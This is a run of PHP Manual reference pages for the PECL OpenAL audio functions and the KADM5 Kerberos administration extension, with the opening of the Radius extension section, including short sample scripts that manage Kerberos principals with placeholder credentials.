Specific property, one of: AL_FREQUENCY, AL_BITS, AL_CHANNELS and AL_SIZE.

Return Values

Returns an integer value appropriate to the property requested or FALSE on failure.

See Also

  • openal_buffer_create() - Generate OpenAL buffer

User Contributed Notes

There are no user contributed notes for this page.
openal_buffer_destroy
openal_buffer_loadwav
OpenAL Functions


Load a .wav file into a buffer

openal_buffer_get
openal_context_create
OpenAL Functions
PHP Manual

openal_buffer_loadwav

(PECL openal >= 0.1.0)

openal_buffer_loadwav — Load a .wav file into a buffer

Description

bool openal_buffer_loadwav ( resource $buffer , string $wavfile )

Parameters

buffer

An Open AL(Buffer) resource (previously created by openal_buffer_create()).

wavfile

Path to .wav file on local file system.

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • openal_buffer_data() - Load a buffer with data
  • openal_stream() - Begin streaming on a source

User Contributed Notes

There are no user contributed notes for this page.
openal_buffer_get
openal_context_create
OpenAL Functions


Create an audio processing context

openal_buffer_loadwav
openal_context_current
OpenAL Functions
PHP Manual

openal_context_create

(PECL openal >= 0.1.0)

openal_context_create — Create an audio processing context

Description

resource openal_context_create ( resource $device )

Parameters

device

An Open AL(Device) resource (previously created by openal_device_open()).

Return Values

Returns an Open AL(Context) resource on success or FALSE on failure.

See Also

  • openal_device_open() - Initialize the OpenAL audio layer
  • openal_context_destroy() - Destroys a context

User Contributed Notes

There are no user contributed notes for this page.
openal_buffer_loadwav
openal_context_current
OpenAL Functions


Make the specified context current

openal_context_create
openal_context_destroy
OpenAL Functions
PHP Manual

openal_context_current

(PECL openal >= 0.1.0)

openal_context_current — Make the specified context current

Description

bool openal_context_current ( resource $context )

Parameters

context

An Open AL(Context) resource (previously created by openal_context_create()).

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • openal_context_create() - Create an audio processing context

User Contributed Notes

There are no user contributed notes for this page.
openal_context_create
openal_context_destroy
OpenAL Functions


Destroys a context

openal_context_current
openal_context_process
OpenAL Functions
PHP Manual

openal_context_destroy

(PECL openal >= 0.1.0)

openal_context_destroy — Destroys a context

Description

bool openal_context_destroy ( resource $context )

Parameters

context

An Open AL(Context) resource (previously created by openal_context_create()).

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • openal_context_create() - Create an audio processing context

User Contributed Notes

There are no user contributed notes for this page.
openal_context_current
openal_context_process
OpenAL Functions


Process the specified context

openal_context_destroy
openal_context_suspend
OpenAL Functions
PHP Manual

openal_context_process

(PECL openal >= 0.1.0)

openal_context_process — Process the specified context

Description

bool openal_context_process ( resource $context )

Parameters

context

An Open AL(Context) resource (previously created by openal_context_create()).

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • openal_context_create() - Create an audio processing context
  • openal_context_current() - Make the specified context current
  • openal_context_suspend() - Suspend the specified context

User Contributed Notes

There are no user contributed notes for this page.
openal_context_destroy
openal_context_suspend
OpenAL Functions


Suspend the specified context

openal_context_process
openal_device_close
OpenAL Functions
PHP Manual

openal_context_suspend

(PECL openal >= 0.1.0)

openal_context_suspend — Suspend the specified context

Description

bool openal_context_suspend ( resource $context )

Parameters

context

An Open AL(Context) resource (previously created by openal_context_create()).

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • openal_context_create() - Create an audio processing context
  • openal_context_current() - Make the specified context current
  • openal_context_process() - Process the specified context

User Contributed Notes

There are no user contributed notes for this page.
openal_context_process
openal_device_close
OpenAL Functions


Close an OpenAL device

openal_context_suspend
openal_device_open
OpenAL Functions
PHP Manual

openal_device_close

(PECL openal >= 0.1.0)

openal_device_close — Close an OpenAL device

Description

bool openal_device_close ( resource $device )

Parameters

device

An Open AL(Device) resource (previously created by openal_device_open()) to be closed.

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • openal_device_open() - Initialize the OpenAL audio layer

User Contributed Notes

There are no user contributed notes for this page.
openal_context_suspend
openal_device_open
OpenAL Functions


Initialize the OpenAL audio layer

openal_device_close
openal_listener_get
OpenAL Functions
PHP Manual

openal_device_open

(PECL openal >= 0.1.0)

openal_device_open — Initialize the OpenAL audio layer

Description

resource openal_device_open ([ string $device_desc ] )

Parameters

device_desc

Open an audio device optionally specified by device_desc. If device_desc is not specified the first available audio device will be used.

Return Values

Returns an Open AL(Device) resource on success or FALSE on failure.

See Also

  • openal_device_close() - Close an OpenAL device
  • openal_context_create() - Create an audio processing context

User Contributed Notes

There are no user contributed notes for this page.
openal_device_close
openal_listener_get
OpenAL Functions


Retrieve a listener property

openal_device_open
openal_listener_set
OpenAL Functions
PHP Manual

openal_listener_get

(PECL openal >= 0.1.0)

openal_listener_get — Retrieve a listener property

Description

mixed openal_listener_get ( int $property )

Parameters

property

Property to retrieve, one of:
AL_GAIN (float),
AL_POSITION (array(float,float,float)),
AL_VELOCITY (array(float,float,float)) and
AL_ORIENTATION (array(float,float,float)).

Return Values

Returns a float or array of floats (as appropriate) or FALSE on failure.

See Also

  • openal_listener_set() - Set a listener property

User Contributed Notes

There are no user contributed notes for this page.
openal_device_open
openal_listener_set
OpenAL Functions


Set a listener property

openal_listener_get
openal_source_create
OpenAL Functions
PHP Manual

openal_listener_set

(PECL openal >= 0.1.0)

openal_listener_set — Set a listener property

Description

bool openal_listener_set ( int $property , mixed $setting )

Parameters

property

Property to set, one of:
AL_GAIN (float),
AL_POSITION (array(float,float,float)),
AL_VELOCITY (array(float,float,float)) and
AL_ORIENTATION (array(float,float,float)).

setting

Value to set, either float, or an array of floats as appropriate.

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • openal_listener_get() - Retrieve a listener property

User Contributed Notes

There are no user contributed notes for this page.
openal_listener_get
openal_source_create
OpenAL Functions


Generate a source resource

openal_listener_set
openal_source_destroy
OpenAL Functions
PHP Manual

openal_source_create

(PECL openal >= 0.1.0)

openal_source_create — Generate a source resource

Description

resource openal_source_create ( void )

Return Values

Returns an Open AL(Source) resource on success or FALSE on failure.

See Also

  • openal_source_set() - Set source property
  • openal_source_play() - Start playing the source
  • openal_source_destroy() - Destroy a source resource

User Contributed Notes

There are no user contributed notes for this page.
openal_listener_set
openal_source_destroy
OpenAL Functions


Destroy a source resource

openal_source_create
openal_source_get
OpenAL Functions
PHP Manual

openal_source_destroy

(PECL openal >= 0.1.0)

openal_source_destroy — Destroy a source resource

Description

bool openal_source_destroy ( resource $source )

Parameters

source

An Open AL(Source) resource (previously created by openal_source_create()).

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • openal_source_create() - Generate a source resource

User Contributed Notes

There are no user contributed notes for this page.
openal_source_create
openal_source_get
OpenAL Functions


Retrieve an OpenAL source property

openal_source_destroy
openal_source_pause
OpenAL Functions
PHP Manual

openal_source_get

(PECL openal >= 0.1.0)

openal_source_get — Retrieve an OpenAL source property

Description

mixed openal_source_get ( resource $source , int $property )

Parameters

source

An Open AL(Source) resource (previously created by openal_source_create()).

property

Property to get, one of: AL_SOURCE_RELATIVE (int), AL_SOURCE_STATE (int), AL_PITCH (float), AL_GAIN (float), AL_MIN_GAIN (float), AL_MAX_GAIN (float), AL_MAX_DISTANCE (float), AL_ROLLOFF_FACTOR (float), AL_CONE_OUTER_GAIN (float), AL_CONE_INNER_ANGLE (float), AL_CONE_OUTER_ANGLE (float), AL_REFERENCE_DISTANCE (float), AL_POSITION (array(float,float,float)), AL_VELOCITY (array(float,float,float)), AL_DIRECTION (array(float,float,float)).

Return Values

Returns the type associated with the property being retrieved or FALSE on failure.

See Also

  • openal_source_create() - Generate a source resource
  • openal_source_set() - Set source property
  • openal_source_play() - Start playing the source

User Contributed Notes

There are no user contributed notes for this page.
openal_source_destroy
openal_source_pause
OpenAL Functions


Pause the source

openal_source_get
openal_source_play
OpenAL Functions
PHP Manual

openal_source_pause

(PECL openal >= 0.1.0)

openal_source_pause — Pause the source

Description

bool openal_source_pause ( resource $source )

Parameters

source

An Open AL(Source) resource (previously created by openal_source_create()).

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • openal_source_stop() - Stop playing the source
  • openal_source_play() - Start playing the source
  • openal_source_rewind() - Rewind the source

User Contributed Notes

There are no user contributed notes for this page.
openal_source_get
openal_source_play
OpenAL Functions


Start playing the source

openal_source_pause
openal_source_rewind
OpenAL Functions
PHP Manual

openal_source_play

(PECL openal >= 0.1.0)

openal_source_play — Start playing the source

Description

bool openal_source_play ( resource $source )

Parameters

source

An Open AL(Source) resource (previously created by openal_source_create()).

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • openal_source_stop() - Stop playing the source
  • openal_source_pause() - Pause the source
  • openal_source_rewind() - Rewind the source

User Contributed Notes

There are no user contributed notes for this page.
openal_source_pause
openal_source_rewind
OpenAL Functions


Rewind the source

openal_source_play
openal_source_set
OpenAL Functions
PHP Manual

openal_source_rewind

(PECL openal >= 0.1.0)

openal_source_rewind — Rewind the source

Description

bool openal_source_rewind ( resource $source )

Parameters

source

An Open AL(Source) resource (previously created by openal_source_create()).

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • openal_source_stop() - Stop playing the source
  • openal_source_pause() - Pause the source
  • openal_source_play() - Start playing the source

User Contributed Notes

There are no user contributed notes for this page.
openal_source_play
openal_source_set
OpenAL Functions


Set source property

openal_source_rewind
openal_source_stop
OpenAL Functions
PHP Manual

openal_source_set

(PECL openal >= 0.1.0)

openal_source_set — Set source property

Description

bool openal_source_set ( resource $source , int $property , mixed $setting )

Parameters

source

An Open AL(Source) resource (previously created by openal_source_create()).

property

Property to set, one of: AL_BUFFER (OpenAL(Source)), AL_LOOPING (bool), AL_SOURCE_RELATIVE (int), AL_SOURCE_STATE (int), AL_PITCH (float), AL_GAIN (float), AL_MIN_GAIN (float), AL_MAX_GAIN (float), AL_MAX_DISTANCE (float), AL_ROLLOFF_FACTOR (float), AL_CONE_OUTER_GAIN (float), AL_CONE_INNER_ANGLE (float), AL_CONE_OUTER_ANGLE (float), AL_REFERENCE_DISTANCE (float), AL_POSITION (array(float,float,float)), AL_VELOCITY (array(float,float,float)), AL_DIRECTION (array(float,float,float)).

setting

Value to assign to specified property. Refer to the description of property for a description of the value(s) expected.

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • openal_source_create() - Generate a source resource
  • openal_source_get() - Retrieve an OpenAL source property
  • openal_source_play() - Start playing the source

User Contributed Notes

There are no user contributed notes for this page.
openal_source_rewind
openal_source_stop
OpenAL Functions


Stop playing the source

openal_source_set
openal_stream
OpenAL Functions
PHP Manual

openal_source_stop

(PECL openal >= 0.1.0)

openal_source_stop — Stop playing the source

Description

bool openal_source_stop ( resource $source )

Parameters

source

An Open AL(Source) resource (previously created by openal_source_create()).

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • openal_source_play() - Start playing the source
  • openal_source_pause() - Pause the source
  • openal_source_rewind() - Rewind the source

User Contributed Notes

There are no user contributed notes for this page.
openal_source_set
openal_stream
OpenAL Functions


Begin streaming on a source

openal_source_stop
Authentication Services
OpenAL Functions
PHP Manual

openal_stream

(PECL openal >= 0.1.0)

openal_stream — Begin streaming on a source

Description

resource openal_stream ( resource $source , int $format , int $rate )

Parameters

source

An Open AL(Source) resource (previously created by openal_source_create()).

format

Format of data, one of: AL_FORMAT_MONO8, AL_FORMAT_MONO16, AL_FORMAT_STEREO8 and AL_FORMAT_STEREO16

rate

Frequency of data to stream given in Hz.

Return Values

Returns a stream resource on success or FALSE on failure.

See Also

  • openal_source_create() - Generate a source resource
  • fwrite() - Binary-safe file write

User Contributed Notes

There are no user contributed notes for this page.
openal_source_stop
Authentication Services
OpenAL Functions


Authentication Services

  • KADM5 — Kerberos V
    • Introduction
    • Installing/Configuring
    • Predefined Constants
    • Examples
    • KADM5 Functions
  • Radius
    • Introduction
    • Installing/Configuring
    • Predefined Constants
    • Examples
    • Radius Functions

User Contributed Notes

There are no user contributed notes for this page.
openal_stream
KADM5
Function Reference


Kerberos V

  • Introduction
  • Installing/Configuring
    • Requirements
    • Installation
    • Runtime Configuration
    • Resource Types
  • Predefined Constants
    • Constants for Attribute Flags
    • Constants for Options
  • Examples
    • Basic usage
  • KADM5 Functions
    • kadm5_chpass_principal — Changes the principal's password
    • kadm5_create_principal — Creates a kerberos principal with the given parameters
    • kadm5_delete_principal — Deletes a kerberos principal
    • kadm5_destroy — Closes the connection to the admin server and releases all related resources
    • kadm5_flush — Flush all changes to the Kerberos database
    • kadm5_get_policies — Gets all policies from the Kerberos database
    • kadm5_get_principal — Gets the principal's entries from the Kerberos database
    • kadm5_get_principals — Gets all principals from the Kerberos database
    • kadm5_init_with_password — Opens a connection to the KADM5 library
    • kadm5_modify_principal — Modifies a kerberos principal with the given parameters

User Contributed Notes

There are no user contributed notes for this page.
Authentication Services
Introduction
Authentication Services


Introduction

These package allows you to access Kerberos V administration servers. You can create, modify, and delete Kerberos V principals and policies.

More information about Kerberos can be found at » http://web.mit.edu/kerberos/www/.

Documentation for Kerberos and KADM5 can be found at » http://web.mit.edu/kerberos/www/krb5-1.2/krb5-1.2.8/doc/admin_toc.html.

User Contributed Notes

There are no user contributed notes for this page.
KADM5
Installing/Configuring
KADM5


Installing/Configuring

Table of Contents

  • Requirements
  • Installation
  • Runtime Configuration
  • Resource Types

User Contributed Notes

There are no user contributed notes for this page.
Introduction
Requirements
KADM5


Installation

Information for installing this PECL extension may be found in the manual chapter titled Installation of PECL extensions. Additional information such as new releases, downloads, source files, maintainer information, and a CHANGELOG, can be located here: » http://pecl.php.net/package/kadm5.

Note:

If this option is used without specifying the path to KADM5, PHP will use the built-in KADM5 client libraries. Users who run other applications that use KADM5 (for example, running PHP 4 and PHP 5 as concurrent apache modules, or auth-kadm5) should always specify the path to KADM5: --with-kadm5=/path/to/kadm5. This will force PHP to use the client libraries installed by KADM5, avoiding any conflicts.

A DLL for this PECL extension is currently unavailable. See also the building on Windows section.

User Contributed Notes

There are no user contributed notes for this page.
Requirements
Runtime Configuration
Installing/Configuring


Resource Types

This extension defines a KADM5 handle returned by kadm5_init_with_password().

User Contributed Notes

There are no user contributed notes for this page.
Runtime Configuration
Predefined Constants
Installing/Configuring


Predefined Constants

Table of Contents

  • Constants for Attribute Flags
  • Constants for Options

The constants below are defined by this extension, and will only be available when the extension has either been compiled into PHP or dynamically loaded at runtime.

User Contributed Notes

There are no user contributed notes for this page.
Resource Types
Constants for Attribute Flags
KADM5


Constants for Attribute Flags

The functions kadm5_create_principal(),
kadm5_modify_principal(), and
kadm5_modify_principal() allow to specify
special attributes using a bitfield. The symbols are defined below:

Attributes for use by the KDC
constant
KRB5_KDB_DISALLOW_POSTDATED
KRB5_KDB_DISALLOW_FORWARDABLE
KRB5_KDB_DISALLOW_TGT_BASED
KRB5_KDB_DISALLOW_RENEWABLE
KRB5_KDB_DISALLOW_PROXIABLE
KRB5_KDB_DISALLOW_DUP_SKEY
KRB5_KDB_DISALLOW_ALL_TIX
KRB5_KDB_REQUIRES_PRE_AUTH
KRB5_KDB_REQUIRES_HW_AUTH
KRB5_KDB_REQUIRES_PWCHANGE
KRB5_KDB_DISALLOW_SVR
KRB5_KDB_PWCHANGE_SERVER
KRB5_KDB_SUPPORT_DESMD5
KRB5_KDB_NEW_PRINC

User Contributed Notes

There are no user contributed notes for this page.
Predefined Constants
Constants for Options
Predefined Constants


Constants for Options

The functions kadm5_create_principal(),
kadm5_modify_principal(), and
kadm5_get_principal() allow to specify or return
principal's options as an associative array. The keys for the associative
array are defined as string constants below:

Options for creating/modifying/retrieving principals
constant | funcdef | description
KADM5_PRINCIPAL | long | The expire time of the princial as a Kerberos timestamp.
KADM5_PRINC_EXPIRE_TIME | long | The expire time of the princial as a Kerberos timestamp.
KADM5_LAST_PW_CHANGE | long | The time this principal's password was last changed.
KADM5_PW_EXPIRATION | long | The expire time of the principal's current password, as a Kerberos timestamp.
KADM5_MAX_LIFE | long | The maximum lifetime of any Kerberos ticket issued to this principal.
KADM5_MAX_RLIFE | long | The maximum renewable lifetime of any Kerberos ticket issued to or for this principal.
KADM5_MOD_NAME | string | The name of the Kerberos principal that most recently modified this principal.
KADM5_MOD_TIME | long | The time this principal was last modified, as a Kerberos timestamp.
KADM5_KVNO | long | The version of the principal's current key.
KADM5_POLICY | string | The name of the policy controlling this principal.
KADM5_CLEARPOLICY | long | Standard procedure is to assign the 'default' policy to new principals. KADM5_CLEARPOLICY suppresses this behaviour.
KADM5_LAST_SUCCESS | long | The KDC time of the last successfull AS_REQ.
KADM5_LAST_FAILED | long | The KDC time of the last failed AS_REQ.
KADM5_FAIL_AUTH_COUNT | long | The number of consecutive failed AS_REQs.
KADM5_RANDKEY | long | Generates a random password for the principal. The parameter password will be ignored.
KADM5_ATTRIBUTES | long | A bitfield of attributes for use by the KDC.

User Contributed Notes

There are no user contributed notes for this page.
Constants for Attribute Flags
Examples
Predefined Constants


Examples

Table of Contents

  • Basic usage

User Contributed Notes

There are no user contributed notes for this page.
Constants for Options
Basic usage
KADM5


Basic usage

This simple example shows how to connect, query, print resulting principals and disconnect from a KADM5 database.

Example #1 KADM5 extension overview example

<?php

  $handle = kadm5_init_with_password("afs-1", "GONICUS.LOCAL", "admin/admin", "password");

  print "<h1>get_principals</h1>\n";
  $principals = kadm5_get_principals($handle);
  for( $i=0; $i<count($principals); $i++)
      print "$principals[$i]<br>\n";

  print "<h1>get_policies</h1>\n";
  $policies = kadm5_get_policies($handle);
  for( $i=0; $i<count($policies); $i++)
      print "$policies[$i]<br>\n";

  print "<h1>get_principal burbach@GONICUS.LOCAL</h1>\n";

  $options = kadm5_get_principal($handle, "burbach@GONICUS.LOCAL" );
  $keys = array_keys($options);
  for( $i=0; $i<count($keys); $i++) {
    $value = $options[$keys[$i]];
    print "$keys[$i]: $value<br>\n";
  }

  $options = array(KADM5_PRINC_EXPIRE_TIME => 0);
  kadm5_modify_principal($handle, "burbach@GONICUS.LOCAL", $options);

  kadm5_destroy($handle);
?>

User Contributed Notes

There are no user contributed notes for this page.
Examples
KADM5 Functions
Examples


KADM5 Functions

Table of Contents

  • kadm5_chpass_principal — Changes the principal's password
  • kadm5_create_principal — Creates a kerberos principal with the given parameters
  • kadm5_delete_principal — Deletes a kerberos principal
  • kadm5_destroy — Closes the connection to the admin server and releases all related resources
  • kadm5_flush — Flush all changes to the Kerberos database
  • kadm5_get_policies — Gets all policies from the Kerberos database
  • kadm5_get_principal — Gets the principal's entries from the Kerberos database
  • kadm5_get_principals — Gets all principals from the Kerberos database
  • kadm5_init_with_password — Opens a connection to the KADM5 library
  • kadm5_modify_principal — Modifies a kerberos principal with the given parameters

User Contributed Notes

There are no user contributed notes for this page.
Basic usage
kadm5_chpass_principal
KADM5


Changes the principal's password

KADM5 Functions
kadm5_create_principal
KADM5 Functions
PHP Manual

kadm5_chpass_principal

(PECL kadm5 >= 0.2.3)

kadm5_chpass_principal — Changes the principal's password

Description

bool kadm5_chpass_principal ( resource $handle , string $principal , string $password )

kadm5_chpass_principal() sets the new password password for the principal.

Parameters

handle

A KADM5 handle.

principal

The principal.

password

The new password.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 Example of changing principal's password

<?php

$handle = kadm5_init_with_password("afs-1", "GONICUS.LOCAL", "admin/admin", "password");

kadm5_chpass_principal($handle, "burbach@GONICUS.LOCAL", "newpassword");

kadm5_destroy($handle);
?>

User Contributed Notes

There are no user contributed notes for this page.
KADM5 Functions
kadm5_create_principal
KADM5 Functions


Creates a kerberos principal with the given parameters

kadm5_chpass_principal
kadm5_delete_principal
KADM5 Functions
PHP Manual

kadm5_create_principal

(PECL kadm5 >= 0.2.3)

kadm5_create_principal — Creates a kerberos principal with the given parameters

Description

bool kadm5_create_principal ( resource $handle , string $principal [, string $password [, array $options ]] )

Creates a principal with the given password.

Parameters

handle

A KADM5 handle.

principal

The principal.

password

If password is omitted or is NULL, a random key will be generated.

options

It is possible to specify several optional parameters within the array options. Allowed are the following options: KADM5_PRINC_EXPIRE_TIME, KADM5_PW_EXPIRATION, KADM5_ATTRIBUTES, KADM5_MAX_LIFE, KADM5_KVNO, KADM5_POLICY, KADM5_CLEARPOLICY, KADM5_MAX_RLIFE.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 Example of principal's creation

<?php

$handle = kadm5_init_with_password("afs-1", "GONICUS.LOCAL", "admin/admin", "password");

$attributes = KRB5_KDB_REQUIRES_PRE_AUTH | KRB5_KDB_DISALLOW_PROXIABLE;
$options = array(KADM5_PRINC_EXPIRE_TIME => 0,
                 KADM5_POLICY => "default",
                 KADM5_ATTRIBUTES => $attributes);

kadm5_create_principal($handle, "burbach@GONICUS.LOCAL", "password", $options);

kadm5_destroy($handle);
?>

See Also

  • kadm5_modify_principal() - Modifies a kerberos principal with the given parameters
  • kadm5_delete_principal() - Deletes a kerberos principal

User Contributed Notes

There are no user contributed notes for this page.
kadm5_chpass_principal
kadm5_delete_principal
KADM5 Functions


Deletes a kerberos principal

kadm5_create_principal
kadm5_destroy
KADM5 Functions
PHP Manual

kadm5_delete_principal

(PECL kadm5 >= 0.2.3)

kadm5_delete_principal — Deletes a kerberos principal

Description

bool kadm5_delete_principal ( resource $handle , string $principal )

Removes the principal from the Kerberos database.

Parameters

handle

A KADM5 handle.

principal

The removed principal.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 kadm5_delete_principal() example

<?php

$handle = kadm5_init_with_password("afs-1", "GONICUS.LOCAL", "admin/admin", "password");

kadm5_delete_principal($handle, "burbach@GONICUS.LOCAL");

kadm5_destroy($handle);
?>

See Also

  • kadm5_modify_principal() - Modifies a kerberos principal with the given parameters
  • kadm5_create_principal() - Creates a kerberos principal with the given parameters

User Contributed Notes

There are no user contributed notes for this page.
kadm5_create_principal
kadm5_destroy
KADM5 Functions


Closes the connection to the admin server and releases all related resources

kadm5_delete_principal
kadm5_flush
KADM5 Functions
PHP Manual

kadm5_destroy

(PECL kadm5 >= 0.2.3)

kadm5_destroy — Closes the connection to the admin server and releases all related resources

Description

bool kadm5_destroy ( resource $handle )

Closes the connection to the admin server and releases all related resources.

Parameters

handle

A KADM5 handle.

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • kadm5_init_with_password() - Opens a connection to the KADM5 library

User Contributed Notes

There are no user contributed notes for this page.
kadm5_delete_principal
kadm5_flush
KADM5 Functions


Flush all changes to the Kerberos database

kadm5_destroy
kadm5_get_policies
KADM5 Functions
PHP Manual

kadm5_flush

(PECL kadm5 >= 0.2.3)

kadm5_flush — Flush all changes to the Kerberos database

Description

bool kadm5_flush ( resource $handle )

Flush all changes to the Kerberos database, leaving the connection to the Kerberos admin server open.

Parameters

handle

A KADM5 handle.

Return Values

Returns TRUE on success or FALSE on failure.

User Contributed Notes

There are no user contributed notes for this page.
kadm5_destroy
kadm5_get_policies
KADM5 Functions


Gets all policies from the Kerberos database

kadm5_flush
kadm5_get_principal
KADM5 Functions
PHP Manual

kadm5_get_policies

(PECL kadm5 >= 0.2.3)

kadm5_get_policies — Gets all policies from the Kerberos database

Description

array kadm5_get_policies ( resource $handle )

Gets an array containing the policies's names.

Parameters

handle

A KADM5 handle.

Return Values

Returns array of policies on success or FALSE on failure.

Examples

Example #1 kadm5_get_policies() example

<?php
$handle = kadm5_init_with_password("afs-1", "GONICUS.LOCAL", "admin/admin", "password");

print "<h1>get_policies</h1>\n";
foreach (kadm5_get_policies($handle) as $policy) {
    echo "$policy<br />\n";
}

kadm5_destroy($handle);
?>

User Contributed Notes

There are no user contributed notes for this page.
kadm5_flush
kadm5_get_principal
KADM5 Functions


Gets the principal's entries from the Kerberos database

kadm5_get_policies
kadm5_get_principals
KADM5 Functions
PHP Manual

kadm5_get_principal

(PECL kadm5 >= 0.2.3)

kadm5_get_principal — Gets the principal's entries from the Kerberos database

Description

array kadm5_get_principal ( resource $handle , string $principal )

Gets the principal's entries from the Kerberos database.

Parameters

handle

A KADM5 handle.

principal

The principal.

Return Values

Returns array of options containing the following keys: KADM5_PRINCIPAL, KADM5_PRINC_EXPIRE_TIME, KADM5_PW_EXPIRATION, KADM5_ATTRIBUTES, KADM5_MAX_LIFE, KADM5_MOD_NAME, KADM5_MOD_TIME, KADM5_KVNO, KADM5_POLICY, KADM5_MAX_RLIFE, KADM5_LAST_SUCCESS, KADM5_LAST_FAILED, KADM5_FAIL_AUTH_COUNT on success or FALSE on failure.

Examples

Example #1 kadm5_get_principal() example

<?php
$handle = kadm5_init_with_password("afs-1", "GONICUS.LOCAL", "admin/admin", "password");

print "<h1>get_principal burbach@GONICUS.LOCAL</h1>\n";

$options = kadm5_get_principal($handle, "burbach@GONICUS.LOCAL" );

foreach ($options as $key => $value) {
    echo "$key: $value<br />\n";
}

kadm5_destroy($handle);
?>

See Also

  • kadm5_get_principals() - Gets all principals from the Kerberos database

User Contributed Notes

There are no user contributed notes for this page.
kadm5_get_policies
kadm5_get_principals
KADM5 Functions


Gets all principals from the Kerberos database

kadm5_get_principal
kadm5_init_with_password
KADM5 Functions
PHP Manual

kadm5_get_principals

(PECL kadm5 >= 0.2.3)

kadm5_get_principals — Gets all principals from the Kerberos database

Description

array kadm5_get_principals ( resource $handle )

kadm5_get_principals() returns an array containing the principals's names.

Parameters

handle

A KADM5 handle.

Return Values

Returns array of principals on success or FALSE on failure.

Examples

Example #1 kadm5_get_principals() example

<?php
$handle = kadm5_init_with_password("afs-1", "GONICUS.LOCAL", "admin/admin", "password");

print "<h1>get_principals</h1>\n";
foreach (kadm5_get_principals($handle) as $principal) {
    echo "$principal<br />\n";
}

kadm5_destroy($handle);
?>

See Also

  • kadm5_get_principal() - Gets the principal's entries from the Kerberos database

User Contributed Notes

There are no user contributed notes for this page.
kadm5_get_principal
kadm5_init_with_password
KADM5 Functions


Opens a connection to the KADM5 library

kadm5_get_principals
kadm5_modify_principal
KADM5 Functions
PHP Manual

kadm5_init_with_password

(PECL kadm5 >= 0.2.3)

kadm5_init_with_password — Opens a connection to the KADM5 library

Description

resource kadm5_init_with_password ( string $admin_server , string $realm , string $principal , string $password )

Opens a connection with the KADM5 library using the principal and the given password to obtain initial credentials from the admin_server.

Parameters

admin_server

The server.

realm

Defines the authentication domain for the connection.

principal

The principal.

password

If password is omitted or is NULL, a random key will be generated.

Return Values

Returns a KADM5 handle on success or FALSE on failure.

Examples

Example #1 KADM5 initialization example

<?php

$handle = kadm5_init_with_password("afs-1", "GONICUS.LOCAL", "admin/admin", "password");

$attributes = KRB5_KDB_REQUIRES_PRE_AUTH | KRB5_KDB_DISALLOW_PROXIABLE;
$options = array(KADM5_PRINC_EXPIRE_TIME => 0,
                 KADM5_POLICY => "default",
                 KADM5_ATTRIBUTES => $attributes);

kadm5_create_principal($handle, "burbach@GONICUS.LOCAL", "password", $options);

kadm5_destroy($handle);
?>

Notes

Note:

Connection should be closed after use with kadm5_destroy().

See Also

  • kadm5_destroy() - Closes the connection to the admin server and releases all related resources

User Contributed Notes

There are no user contributed notes for this page.
kadm5_get_principals
kadm5_modify_principal
KADM5 Functions


Modifies a kerberos principal with the given parameters

kadm5_init_with_password
Radius
KADM5 Functions
PHP Manual

kadm5_modify_principal

(PECL kadm5 >= 0.2.3)

kadm5_modify_principal — Modifies a kerberos principal with the given parameters

Description

bool kadm5_modify_principal ( resource $handle , string $principal , array $options )

Modifies a principal according to the given options.

Parameters

handle

A KADM5 handle.

principal

The principal.

options

It is possible to specify several optional parameters within the array options. Allowed are the following options: KADM5_PRINC_EXPIRE_TIME, KADM5_PW_EXPIRATION, KADM5_ATTRIBUTES, KADM5_MAX_LIFE, KADM5_KVNO, KADM5_POLICY, KADM5_CLEARPOLICY, KADM5_MAX_RLIFE. KADM5_FAIL_AUTH_COUNT.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 Example of modifying principal

<?php

$handle = kadm5_init_with_password("afs-1", "GONICUS.LOCAL", "admin/admin", "password");

$attributes = KRB5_KDB_REQUIRES_PRE_AUTH;
$options = array(KADM5_PRINC_EXPIRE_TIME => 3451234,
                 KADM5_POLICY => "gonicus",
                 KADM5_ATTRIBUTES => $attributes);

kadm5_modify_principal($handle, "burbach@GONICUS.LOCAL", $options);

kadm5_destroy($handle);
?>

See Also

  • kadm5_create_principal() - Creates a kerberos principal with the given parameters
  • kadm5_delete_principal() - Deletes a kerberos principal

User Contributed Notes

There are no user contributed notes for this page.
kadm5_init_with_password
Radius
KADM5 Functions


Radius

  • Introduction
  • Installing/Configuring
    • Requirements
    • Installation
    • Runtime Configuration
    • Resource Types
  • Predefined Constants
  • Examples
  • Radius Functions
    • radius_acct_open — Creates a Radius handle for accounting
    • radius_add_server — Adds a server
    • radius_auth_open — Creates a Radius handle for authentication
    • radius_close — Frees all ressources
    • radius_config — Causes the library to read the given configuration file
    • radius_create_request — Create accounting or authentication request
    • radius_cvt_addr — Converts raw data to IP-Address
    • radius_cvt_int — Converts raw data to integer
    • radius_cvt_string — Converts raw data to string
    • radius_demangle_mppe_key — Derives mppe-keys from mangled data
    • radius_demangle — Demangles data
    • radius_get_attr — Extracts an attribute
    • radius_get_vendor_attr — Extracts a vendor specific attribute
    • radius_put_addr — Attaches an IP-Address attribute
    • radius_put_attr — Attaches a binary attribute
    • radius_put_int — Attaches an integer attribute
    • radius_put_string — Attaches a string attribute
    • radius_put_vendor_addr — Attaches a vendor specific IP-Address attribute
    • radius_put_vendor_attr — Attaches a vendor specific binary attribute
    • radius_put_vendor_int — Attaches a vendor specific integer attribute
    • radius_put_vendor_string — Attaches a vendor specific string attribute
    • radius_request_authenticator — Returns the request authenticator
    • radius_send_request — Sends the request and waites for a reply
    • radius_server_secret — Returns the shared secret
    • radius_strerror — Returns an error message

User Contributed Notes

There are no user contributed notes for this page.
kadm5_modify_principal
Introduction
Authentication Services


Introduction

This package is based on the libradius (Remote Authentication Dial In User Service) of FreeBSD. It allows clients to perform authentication and accounting by means of network requests to remote servers.

